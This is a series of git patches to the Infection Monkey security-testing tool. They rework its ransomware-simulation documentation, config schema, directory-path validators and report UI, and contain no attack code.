monkey/infection_monkey/ransomware/targeted_file_extensions.py index f67a6b76121..6c769ad9146 100644 --- a/monkey/infection_monkey/ransomware/valid_file_extensions.py +++ b/monkey/infection_monkey/ransomware/targeted_file_extensions.py @@ -1,4 +1,4 @@ -VALID_FILE_EXTENSIONS_FOR_ENCRYPTION = { +TARGETED_FILE_EXTENSIONS = { ".3ds", ".7z", ".accdb", From ebab7be32b0ac0177e0a0488fb2b50021146bd81 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 30 Jun 2021 08:41:26 -0400 Subject: [PATCH 0984/1360] Docs: Improve language regarding ransomware targeted file extensions --- docs/content/reference/ransomware.md | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) diff --git a/docs/content/reference/ransomware.md b/docs/content/reference/ransomware.md index c5d28b64b9e..98d41ad8324 100644 --- a/docs/content/reference/ransomware.md +++ b/docs/content/reference/ransomware.md @@ -56,8 +56,8 @@ notify and prevent these changes from taking place. ## Which files are encrypted? -All regular files with [valid -extensions](#file-extensions-targeted-for-encryption) in the configured +All regular files with [targeted file +extensions](#files-targeted-for-encryption) in the configured directory are attempted to be encrypted during the simulation. The simulation is not recursive, i.e. it will not touch any files in @@ -68,12 +68,10 @@ These precautions are taken to prevent the monkey from going rogue and accidentally encrypting files that you didn't intend to encrypt. -## File extensions targeted for encryption +## Files targeted for encryption -Encryption attempts are only performed on regular files with the following -extensions. - -This list is based on the [analysis of the Goldeneye ransomware by +Only regular files with certain extensions are encrypted by the ransomware +simulation. This list is based on the [analysis of the Goldeneye ransomware by BitDefender](https://labs.bitdefender.com/2017/07/a-technical-look-into-the-goldeneye-ransomware-attack/). - .3ds From a82850cb647ba5f12c6608ac9c48df7b9f372451 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 30 Jun 2021 14:13:01 +0300 Subject: [PATCH 0985/1360] Add ransomware directories property to UISchema object This addition is required to manipulate the UI components in ransomware configuration UI without the need to create object's properties. Otherwise we'd have to create ransomware.encryption.directories in UI schema using code. --- .../ui/src/components/configuration-components/UiSchema.js | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js index ac91048177d..79dced09471 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js @@ -71,6 +71,13 @@ export default function UiSchema(props) { } } }, + ransomware: { + encryption: { + directories: { + // Directory inputs are dynamically hidden + } + } + }, internal: { general: { started_on_island: {'ui:widget': 'hidden'} From 889df554ae875f6b309db9f3565b57c56c3ca16d Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 30 Jun 2021 14:24:27 +0300 Subject: [PATCH 0986/1360] Refactor form data in ConfigurePage.js to be held in state This change will allow dynamically modifying other state parameters and re-rendering on form data change --- .../ui/src/components/pages/ConfigurePage.js | 23 +++++++++++-------- 1 file changed, 13 insertions(+), 10 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index ed827401b3f..19dae5fbc77 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -27,7 +27,6 @@ class ConfigurePageComponent extends AuthComponent { constructor(props) { super(props); this.currentSection = 'attack'; - this.currentFormData = {}; this.initialConfig = {}; this.initialAttackConfig = {}; this.sectionsOrder = ['attack', 'basic', 'basic_network', 'ransomware', 'monkey', 'internal']; @@ -35,6 +34,7 @@ class ConfigurePageComponent extends AuthComponent { this.state = { attackConfig: {}, configuration: {}, + currentFormData: {}, importCandidateConfig: null, lastAction: 'none', schema: {}, @@ -213,14 +213,15 @@ class ConfigurePageComponent extends AuthComponent { }; onChange = ({formData}) => { - this.currentFormData = formData; + let configuration = this.state.configuration; + configuration[this.state.selectedSection] = formData; + this.setState({currentFormData: formData, configuration: configuration}); }; updateConfigSection = () => { let newConfig = this.state.configuration; - if (Object.keys(this.currentFormData).length > 0) { - newConfig[this.currentSection] = this.currentFormData; - this.currentFormData = {}; + if (Object.keys(this.state.currentFormData).length > 0) { + newConfig[this.currentSection] = this.state.currentFormData; } this.setState({configuration: newConfig, lastAction: 'none'}); }; @@ -295,8 +296,8 @@ class ConfigurePageComponent extends AuthComponent { userChangedConfig() { if (JSON.stringify(this.state.configuration) === JSON.stringify(this.initialConfig)) { - if (Object.keys(this.currentFormData).length === 0 || - JSON.stringify(this.initialConfig[this.currentSection]) === JSON.stringify(this.currentFormData)) { + if (Object.keys(this.state.currentFormData).length === 0 || + JSON.stringify(this.initialConfig[this.currentSection]) === JSON.stringify(this.state.currentFormData)) { return false; } } @@ -316,7 +317,8 @@ class ConfigurePageComponent extends AuthComponent { this.updateConfigSection(); this.currentSection = key; this.setState({ - selectedSection: key + selectedSection: key, + currentFormData: this.state.configuration[key] }); }; @@ -332,7 +334,8 @@ class ConfigurePageComponent extends AuthComponent { this.setState({ lastAction: 'reset', schema: res.schema, - configuration: res.configuration + configuration: res.configuration, + currentFormData: res.configuration[this.state.selectedSection] }); this.setInitialConfig(res.configuration); this.props.onStatusChange(); @@ -407,7 +410,7 @@ class ConfigurePageComponent extends AuthComponent { setPbaFilenameLinux: this.setPbaFilenameLinux, selectedSection: this.state.selectedSection }) - formProperties['formData'] = this.state.configuration[this.state.selectedSection]; + formProperties['formData'] = this.state.currentFormData; formProperties['onChange'] = this.onChange; formProperties['customFormats'] = formValidationFormats; formProperties['transformErrors'] = transformErrors; From 16f97f2811472d7a0ca9e6c83276dad13cd73c9a Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 30 Jun 2021 15:53:40 +0300 Subject: [PATCH 0987/1360] Hide the input fields for directories to be encrypted if "Should encrypt" option is disabled This change will enhance the UX by hiding the irrelevant inputs. This also allows us to add further logic to dynamically hide/show or otherwise modify uiSchema --- .../UISchemaManipulators.tsx | 21 +++++++++++++++++++ .../ui/src/components/pages/ConfigurePage.js | 5 +++++ 2 files changed, 26 insertions(+) create mode 100644 monkey/monkey_island/cc/ui/src/components/configuration-components/UISchemaManipulators.tsx diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/UISchemaManipulators.tsx b/monkey/monkey_island/cc/ui/src/components/configuration-components/UISchemaManipulators.tsx new file mode 100644 index 00000000000..637a128f3c3 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/UISchemaManipulators.tsx @@ -0,0 +1,21 @@ + +const manipulatorList = [ransomwareDirManipulator] + +function applyUiSchemaManipulators(selectedSection, + formData, + uiSchema) { + for(let i = 0; i < manipulatorList.length; i++){ + manipulatorList[i](selectedSection, formData, uiSchema); + } +} + +function ransomwareDirManipulator(selectedSection, + formData, + uiSchema) { + if (selectedSection === 'ransomware'){ + uiSchema.encryption.directories = + {'ui:disabled': !formData['encryption']['enabled']}; + } +} + +export default applyUiSchemaManipulators; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 19dae5fbc77..310555408e3 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -16,6 +16,7 @@ import UnsafeOptionsWarningModal from '../configuration-components/UnsafeOptions import isUnsafeOptionSelected from '../utils/SafeOptionValidator.js'; import ConfigExportModal from '../configuration-components/ExportConfigModal'; import ConfigImportModal from '../configuration-components/ImportConfigModal'; +import applyUiSchemaManipulators from '../configuration-components/UISchemaManipulators.tsx'; const ATTACK_URL = '/api/attack'; const CONFIG_URL = '/api/configuration/island'; @@ -417,6 +418,10 @@ class ConfigurePageComponent extends AuthComponent { formProperties['className'] = 'config-form'; formProperties['liveValidate'] = true; + applyUiSchemaManipulators(this.state.selectedSection, + formProperties['formData'], + formProperties['uiSchema']); + if (this.state.selectedSection === 'internal') { return () } else { From adc7996ab815f6ea2942ef7f563fa4d2ad4a54d2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 30 Jun 2021 10:10:04 -0400 Subject: [PATCH 0988/1360] Docs: Rework ransomware documentation --- docs/content/reference/ransomware.md | 81 +++++++++++++++++----------- 1 file changed, 49 insertions(+), 32 deletions(-) diff --git a/docs/content/reference/ransomware.md b/docs/content/reference/ransomware.md index 98d41ad8324..bf0050f1599 100644 --- a/docs/content/reference/ransomware.md +++ b/docs/content/reference/ransomware.md @@ -9,16 +9,8 @@ weight: 10 The Infection Monkey is capable of simulating a ransomware attack on your network using a set of behaviors. -#### Encrypting user-specified files -All actions performed by the encryption routine are designed to be safe for -production environments. +## Leaving a README.txt file -To ensure minimum interference and easy recoverability, the ransomware -simulation will encrypt files only if the user specifies a directory that -contains files that are safe to encrypt. If no directory is specified, no -files will be encrypted. - -#### Leaving a README.txt file Many ransomware packages leave a README.txt file on the victim machine with an explanation of what has occurred and instructions for paying the attacker. Infection Monkey can also leave a README.txt file in the target directory on @@ -38,37 +30,62 @@ file can be found -## How are the files encrypted? - -Files are "encrypted" in place with a simple bit flip. Encrypted files are -renamed to have `.m0nk3y` appended to their names. +## Encryption -This is a safe way to simulate encryption since it is easy to "decrypt" your -files. You can simply perform a bit flip on the files again and rename them to -remove the appended `.m0nk3y` extension. +In order to simulate the behavior of ransomware as accurately as possible, +Infection Monkey can [encrypt user-specified files](#configuring-encryption) +using a [fully reversible algorithm](#how-are-the-files-encrypted). A number of +mechanisms are in place to ensure that all actions performed by the encryption +routine are safe for production environments. -This is sufficient to mock a ransomware attack on your network as the data in -your files has been manipulated (temporarily leaving them unusuable) and are -renamed with a different extension, similar to the way that many ransomwares -act. As this is a simulation, your security solutions should be triggered to -notify and prevent these changes from taking place. +### Preparing your environment for a ransomware simulation +Infection Monkey will only encrypt files that you allow it to. In +order to take full advantage of Infection Monkey's ransomware simulation, you'll +need to provide Infection Monkey with a directory that contains files that +are safe for it to encrypt. The recommended approach is to use a remote +administration tool, such as +[Ansible](https://docs.ansible.com/ansible/latest/user_guide/) or +[PsExec](https://theitbros.com/using-psexec-to-run-commands-remotely/) to add a +"ransomware target" directory to each machine in your environment. Infection +Monkey can then be configured to encrypt files in this directory. -## Which files are encrypted? +### Configuring encryption -All regular files with [targeted file -extensions](#files-targeted-for-encryption) in the configured -directory are attempted to be encrypted during the simulation. - -The simulation is not recursive, i.e. it will not touch any files in -sub-directories of the configured directory. Symlinks and shortcuts are -ignored. +To ensure minimum interference and easy recoverability, the ransomware +simulation will only encrypt files contained in a user-specified directory. If +no directory is specified, no files will be encrypted. -These precautions are taken to prevent the monkey from going rogue and -accidentally encrypting files that you didn't intend to encrypt. + +### How are the files encrypted? -## Files targeted for encryption +Files are "encrypted" in place with a simple bit flip. Encrypted files are +renamed to have `.m0nk3y` appended to their names. This is a safe way to +simulate encryption since it is easy to "decrypt" your files. You can simply +perform a bit flip on the files again and rename them to remove the appended +`.m0nk3y` extension. + +Flipping a file's bits is sufficient to simulate the encryption behavior of +ransomware, as the data in your files has been manipulated (leaving them +temporarily unusuable). Files are then renamed with a new extension appended, +which is similar to the way that many ransomwares behave. As this is a +simulation, your +security solutions should be triggered to notify you or prevent these changes +from taking place. + +### Which files are encrypted? + +During the ransomware simulation, attempts will be made to encrypt all regular +files with [targeted file extensions](#files-targeted-for-encryption) in the +configured directory. The simulation is not recursive, i.e. it will not touch +any files in sub-directories of the configured directory. Infection Monkey will +not follow any symlinks or shortcuts. + +These precautions are taken to prevent Infection Monkey from accidentally +encrypting files that you didn't intend to encrypt. + +### Files targeted for encryption Only regular files with certain extensions are encrypted by the ransomware simulation. This list is based on the [analysis of the Goldeneye ransomware by From bfa6bcaeb22708bbad0e58d36211cbba7b08990f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 30 Jun 2021 10:10:44 -0400 Subject: [PATCH 0989/1360] Island: Reword descriptions in ransomware config schema --- .../monkey_island/cc/services/config_schema/ransomware.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/ransomware.py b/monkey/monkey_island/cc/services/config_schema/ransomware.py index c30c1a3926f..116a6ca704a 100644 --- a/monkey/monkey_island/cc/services/config_schema/ransomware.py +++ b/monkey/monkey_island/cc/services/config_schema/ransomware.py @@ -21,16 +21,16 @@ "title": "Linux target directory", "type": "string", "default": "", - "description": "A path to a directory on Linux systems that can be " - "used to safely simulate the encryption behavior of ransomware. If no " + "description": "A path to a directory on Linux systems that contains " + "files that you will allow Infection Monkey to encrypt. If no " "directory is specified, no files will be encrypted.", }, "windows_target_dir": { "title": "Windows target directory", "type": "string", "default": "", - "description": "A path to a directory on Windows systems that can be " - "used to safely simulate the encryption behavior of ransomware. If no " + "description": "A path to a directory on Windows systems that contains " + "files that you will allow Infection Monkey to encrypt. If no " "directory is specified, no files will be encrypted.", }, }, From b19044e4e83359c0fd5a34c263e2f6743cb5a3f5 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 30 Jun 2021 11:37:05 -0400 Subject: [PATCH 0990/1360] Docs: Fix "The Infection Monkey" consistency in ransomware.md --- docs/content/reference/ransomware.md | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/docs/content/reference/ransomware.md b/docs/content/reference/ransomware.md index bf0050f1599..3da1e2687e6 100644 --- a/docs/content/reference/ransomware.md +++ b/docs/content/reference/ransomware.md @@ -7,17 +7,17 @@ weight: 10 --- The Infection Monkey is capable of simulating a ransomware attack on your -network using a set of behaviors. +network using a set of configurable behaviors. ## Leaving a README.txt file Many ransomware packages leave a README.txt file on the victim machine with an explanation of what has occurred and instructions for paying the attacker. -Infection Monkey can also leave a README.txt file in the target directory on +The Infection Monkey can also leave a README.txt file in the target directory on the victim machine in order to replicate this behavior. This can be enabled or disabled by checking the box on the configuration screen. Note that if no -target directory is specified for encryption, Infection Monkey will not leave a -README.txt file. +target directory is specified for encryption, the Infection Monkey will not +leave a README.txt file. @@ -33,21 +33,21 @@ file can be found ## Encryption In order to simulate the behavior of ransomware as accurately as possible, -Infection Monkey can [encrypt user-specified files](#configuring-encryption) +the Infection Monkey can [encrypt user-specified files](#configuring-encryption) using a [fully reversible algorithm](#how-are-the-files-encrypted). A number of mechanisms are in place to ensure that all actions performed by the encryption routine are safe for production environments. ### Preparing your environment for a ransomware simulation -Infection Monkey will only encrypt files that you allow it to. In -order to take full advantage of Infection Monkey's ransomware simulation, you'll -need to provide Infection Monkey with a directory that contains files that +The Infection Monkey will only encrypt files that you allow it to. In +order to take full advantage of the Infection Monkey's ransomware simulation, you'll +need to provide the Infection Monkey with a directory that contains files that are safe for it to encrypt. The recommended approach is to use a remote administration tool, such as [Ansible](https://docs.ansible.com/ansible/latest/user_guide/) or [PsExec](https://theitbros.com/using-psexec-to-run-commands-remotely/) to add a -"ransomware target" directory to each machine in your environment. Infection +"ransomware target" directory to each machine in your environment. The Infection Monkey can then be configured to encrypt files in this directory. ### Configuring encryption @@ -79,10 +79,10 @@ from taking place. During the ransomware simulation, attempts will be made to encrypt all regular files with [targeted file extensions](#files-targeted-for-encryption) in the configured directory. The simulation is not recursive, i.e. it will not touch -any files in sub-directories of the configured directory. Infection Monkey will +any files in sub-directories of the configured directory. The Infection Monkey will not follow any symlinks or shortcuts. -These precautions are taken to prevent Infection Monkey from accidentally +These precautions are taken to prevent the Infection Monkey from accidentally encrypting files that you didn't intend to encrypt. ### Files targeted for encryption From f698c889e3bc674b61b18970c47f7a0f98253d8d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 30 Jun 2021 11:40:06 -0400 Subject: [PATCH 0991/1360] Docs: Move ransomware from References to Use Cases --- .../ransomware.md => usage/use-cases/ransomware-simulation.md} | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) rename docs/content/{reference/ransomware.md => usage/use-cases/ransomware-simulation.md} (98%) diff --git a/docs/content/reference/ransomware.md b/docs/content/usage/use-cases/ransomware-simulation.md similarity index 98% rename from docs/content/reference/ransomware.md rename to docs/content/usage/use-cases/ransomware-simulation.md index 3da1e2687e6..7aaccb9d1d9 100644 --- a/docs/content/reference/ransomware.md +++ b/docs/content/usage/use-cases/ransomware-simulation.md @@ -1,8 +1,7 @@ --- -title: "Ransomware" +title: "Ransomware Simulation" date: 2021-06-23T18:13:59+05:30 draft: true -pre: ' ' weight: 10 --- From 938022fc5212bec6ecfcbd47479f8f2a3e334f30 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 30 Jun 2021 14:09:26 -0400 Subject: [PATCH 0992/1360] Island: Allow HTML in config_schema descriptions to be renedered --- .../configuration-components/HtmlFieldDescription.js | 8 ++++++++ .../cc/ui/src/components/pages/ConfigurePage.js | 2 ++ 2 files changed, 10 insertions(+) create mode 100644 monkey/monkey_island/cc/ui/src/components/configuration-components/HtmlFieldDescription.js diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/HtmlFieldDescription.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/HtmlFieldDescription.js new file mode 100644 index 00000000000..2d8df9020f0 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/HtmlFieldDescription.js @@ -0,0 +1,8 @@ +import React from 'react'; + +function HtmlFieldDescription(props) { + var content_obj = {__html: props.description}; + return

    ; +} + +export default HtmlFieldDescription; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 310555408e3..a5ea6810761 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -17,6 +17,7 @@ import isUnsafeOptionSelected from '../utils/SafeOptionValidator.js'; import ConfigExportModal from '../configuration-components/ExportConfigModal'; import ConfigImportModal from '../configuration-components/ImportConfigModal'; import applyUiSchemaManipulators from '../configuration-components/UISchemaManipulators.tsx'; +import HtmlFieldDescription from '../configuration-components/HtmlFieldDescription.js'; const ATTACK_URL = '/api/attack'; const CONFIG_URL = '/api/configuration/island'; @@ -411,6 +412,7 @@ class ConfigurePageComponent extends AuthComponent { setPbaFilenameLinux: this.setPbaFilenameLinux, selectedSection: this.state.selectedSection }) + formProperties['fields'] = {DescriptionField: HtmlFieldDescription}; formProperties['formData'] = this.state.currentFormData; formProperties['onChange'] = this.onChange; formProperties['customFormats'] = formValidationFormats; From e1263ec75356dfa389f211f51cef0435d32089a4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 30 Jun 2021 14:10:15 -0400 Subject: [PATCH 0993/1360] Island: Add a ransomware description to the ransomware config_schema --- .../monkey_island/cc/services/config_schema/ransomware.py | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/monkey/monkey_island/cc/services/config_schema/ransomware.py b/monkey/monkey_island/cc/services/config_schema/ransomware.py index 116a6ca704a..9c445a83323 100644 --- a/monkey/monkey_island/cc/services/config_schema/ransomware.py +++ b/monkey/monkey_island/cc/services/config_schema/ransomware.py @@ -1,6 +1,13 @@ RANSOMWARE = { "title": "Ransomware", "type": "object", + "description": "This page allows you to configure the Infection Monkey to execute a ransomware " + "simulation. The Infection Monkey is capable of simulating a ransomware attack on your network " + "using a set of configurable behaviors. A number of precautions have been taken to ensure that " + "this ransomware simulation is safe for production environments.\n\nFor more information about " + "configuring the ransomware simulation, see " + ' the documentation.', "properties": { "encryption": { "title": "Encryption", From 0a1782a928503342d0bfceda0d1d38429ee3cf7b Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 1 Jul 2021 13:18:32 +0530 Subject: [PATCH 0994/1360] common: Add validator constants for valid ransomware directory paths --- monkey/common/common_consts/validation_formats.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/common/common_consts/validation_formats.py b/monkey/common/common_consts/validation_formats.py index 2f04dbe21ce..c7f92e5e5bc 100644 --- a/monkey/common/common_consts/validation_formats.py +++ b/monkey/common/common_consts/validation_formats.py @@ -1,3 +1,5 @@ # Defined in UI on ValidationFormats.js IP_RANGE = "ip-range" IP = "ip" +VALID_DIR_LINUX = "valid-directory-linux" +VALID_DIR_WINDOWS = "valid-directory-windows" From 73c61ebcf0847182a4e40d7f5f54ed4434948eb4 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 1 Jul 2021 13:19:44 +0530 Subject: [PATCH 0995/1360] island: Add ransomware directory path validators to ransomware schema --- monkey/monkey_island/cc/services/config_schema/ransomware.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/monkey/monkey_island/cc/services/config_schema/ransomware.py b/monkey/monkey_island/cc/services/config_schema/ransomware.py index 116a6ca704a..4e03af168eb 100644 --- a/monkey/monkey_island/cc/services/config_schema/ransomware.py +++ b/monkey/monkey_island/cc/services/config_schema/ransomware.py @@ -1,3 +1,5 @@ +from common.common_consts.validation_formats import VALID_DIR_LINUX, VALID_DIR_WINDOWS + RANSOMWARE = { "title": "Ransomware", "type": "object", @@ -20,6 +22,7 @@ "linux_target_dir": { "title": "Linux target directory", "type": "string", + "format": VALID_DIR_LINUX, "default": "", "description": "A path to a directory on Linux systems that contains " "files that you will allow Infection Monkey to encrypt. If no " @@ -28,6 +31,7 @@ "windows_target_dir": { "title": "Windows target directory", "type": "string", + "format": VALID_DIR_WINDOWS, "default": "", "description": "A path to a directory on Windows systems that contains " "files that you will allow Infection Monkey to encrypt. If no " From 8af93c430430e318d98e62743392e889f93a6876 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 1 Jul 2021 13:22:09 +0530 Subject: [PATCH 0996/1360] cc: Add ransomware directory path validation error messages --- .../configuration-components/ValidationErrorMessages.js | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationErrorMessages.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationErrorMessages.js index a5782948af6..803e4e7e7d3 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationErrorMessages.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationErrorMessages.js @@ -1,4 +1,6 @@ -import {IP, IP_RANGE} from './ValidationFormats'; +import {IP, IP_RANGE, VALID_DIR_LINUX, VALID_DIR_WINDOWS} from './ValidationFormats'; + +let invalidDirMessage = 'Invalid directory. Path should be absolute or begin with an environment variable.'; export default function transformErrors(errors) { return errors.map(error => { @@ -8,6 +10,10 @@ export default function transformErrors(errors) { error.message = 'Invalid IP range, refer to description for valid examples.' } else if (error.name === 'format' && error.params.format === IP) { error.message = 'Invalid IP.' + } else if (error.name === 'format' && error.params.format === VALID_DIR_LINUX) { + error.message = invalidDirMessage + } else if (error.name === 'format' && error.params.format === VALID_DIR_WINDOWS) { + error.message = invalidDirMessage } return error; }); From 3d48a11fc25ab0af5aef8c473345b435c6c25180 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 1 Jul 2021 13:29:05 +0530 Subject: [PATCH 0997/1360] cc: Add regex validators for ransomware directory path validation --- .../ValidationFormats.js | 19 ++++++++++++++++++- 1 file changed, 18 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js index ff0b4706bbc..02a8ec5061b 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js @@ -1,13 +1,22 @@ const ipRegex = '((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)' const cidrNotationRegex = '([0-9]|1[0-9]|2[0-9]|3[0-2])' const hostnameRegex = '^([A-Za-z0-9]*[A-Za-z]+[A-Za-z0-9]*.?)*([A-Za-z0-9]*[A-Za-z]+[A-Za-z0-9]*)$' +// path starts with `/` OR `$` +const linuxDirRegex = '^/|\\$' +// path starts like `C:\` OR `C:/` OR `$` OR `%abc%` +const windowsDirRegex = '^([A-Za-z]:(\\\\|\\/))|\\$|(%\\w*\\d*\\s*%)' + export const IP_RANGE = 'ip-range'; export const IP = 'ip'; +export const VALID_DIR_LINUX = 'valid-directory-linux' +export const VALID_DIR_WINDOWS = 'valid-directory-windows' export const formValidationFormats = { [IP_RANGE]: buildIpRangeRegex(), - [IP]: buildIpRegex() + [IP]: buildIpRegex(), + [VALID_DIR_LINUX]: buildValidDirLinuxRegex(), + [VALID_DIR_WINDOWS]: buildValidDirWindowsRegex() }; function buildIpRangeRegex(){ @@ -22,3 +31,11 @@ function buildIpRangeRegex(){ function buildIpRegex(){ return new RegExp('^'+ipRegex+'$') } + +function buildValidDirLinuxRegex() { + return new RegExp(linuxDirRegex) +} + +function buildValidDirWindowsRegex() { + return new RegExp(windowsDirRegex) +} From 46ac53c5d1d931f6ea883e4677edf52a45a6ae9e Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 2 Jul 2021 13:53:45 +0530 Subject: [PATCH 0998/1360] cc: Add ransomware report tab --- .../cc/ui/src/components/Main.js | 3 ++ .../cc/ui/src/components/pages/ReportPage.js | 25 ++++++++--- .../report-components/RansomwareReport.js | 45 +++++++++++++++++++ .../report-components/common/ReportHeader.js | 1 + 4 files changed, 69 insertions(+), 5 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js index 32480db8e91..b5fc5f60675 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.js +++ b/monkey/monkey_island/cc/ui/src/components/Main.js @@ -171,6 +171,9 @@ class AppComponent extends AuthComponent { {this.renderRoute('/report/zeroTrust', )} + {this.renderRoute('/report/ransomware', + )} {this.renderRoute('/license', { this.setState({zeroTrustReport: ztReport}) }); + this.setState({ + ransomwareReport: {'report': ''} + }); + // this.authFetch('/api/report/ransomware') + // .then(res => res.json()) + // .then(res => { + // this.setState({ + // ransomwareReport: res + // }); + // }); } } @@ -144,6 +157,8 @@ class ReportPageComponent extends AuthComponent { return (); case 'zeroTrust': return (); + case 'ransomware': + return (); } } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js new file mode 100644 index 00000000000..31629fbf0cd --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js @@ -0,0 +1,45 @@ +import React from 'react'; + +import ReportHeader, {ReportTypes} from './common/ReportHeader'; +import ReportLoader from './common/ReportLoader'; + +class RansomwareReport extends React.Component { + + constructor(props) { + super(props); + this.state = { + report: props.report + }; + } + + stillLoadingDataFromServer() { + return Object.keys(this.state.report).length === 0; + } + + generateReportContent() { + return ( +

    +

    + This report shows information about the ransomware simulation run by Infection Monkey. +

    +
    + ) + } + + render() { + let content = {}; + if (this.stillLoadingDataFromServer()) { + content = ; + } else { + content =
    {this.generateReportContent()}
    ; + } + return ( +
    + +
    + {content} +
    ) + } +} + +export default RansomwareReport; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportHeader.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportHeader.js index d942a53e2f3..6e7c25d2e0d 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportHeader.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportHeader.js @@ -8,6 +8,7 @@ export const ReportTypes = { zeroTrust: 'Zero Trust', security: 'Security', attack: 'ATT&CK', + ransomware: 'Ransomware', null: '' }; From 1768c0cdf66655a33cd01d808d6540019b9006b4 Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 2 Jul 2021 16:04:46 +0530 Subject: [PATCH 0999/1360] cc: Fix regex bug when validating ransomware target directories --- .../components/configuration-components/ValidationFormats.js | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js index 02a8ec5061b..d7b30c13a8e 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js @@ -2,9 +2,9 @@ const ipRegex = '((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(25[0-5]|2[0-4][0 const cidrNotationRegex = '([0-9]|1[0-9]|2[0-9]|3[0-2])' const hostnameRegex = '^([A-Za-z0-9]*[A-Za-z]+[A-Za-z0-9]*.?)*([A-Za-z0-9]*[A-Za-z]+[A-Za-z0-9]*)$' // path starts with `/` OR `$` -const linuxDirRegex = '^/|\\$' +const linuxDirRegex = '^/|^\\$' // path starts like `C:\` OR `C:/` OR `$` OR `%abc%` -const windowsDirRegex = '^([A-Za-z]:(\\\\|\\/))|\\$|(%\\w*\\d*\\s*%)' +const windowsDirRegex = '^([A-Za-z]:(\\\\|\\/))|^\\$|^(%\\w*\\d*\\s*%)' export const IP_RANGE = 'ip-range'; From 54072b6632d4cd5c58eca0769573e06c416d8b79 Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 2 Jul 2021 16:09:40 +0530 Subject: [PATCH 1000/1360] cc: Make whitespace-only a valid input for ransomware target directory paths --- .../configuration-components/ValidationFormats.js | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) 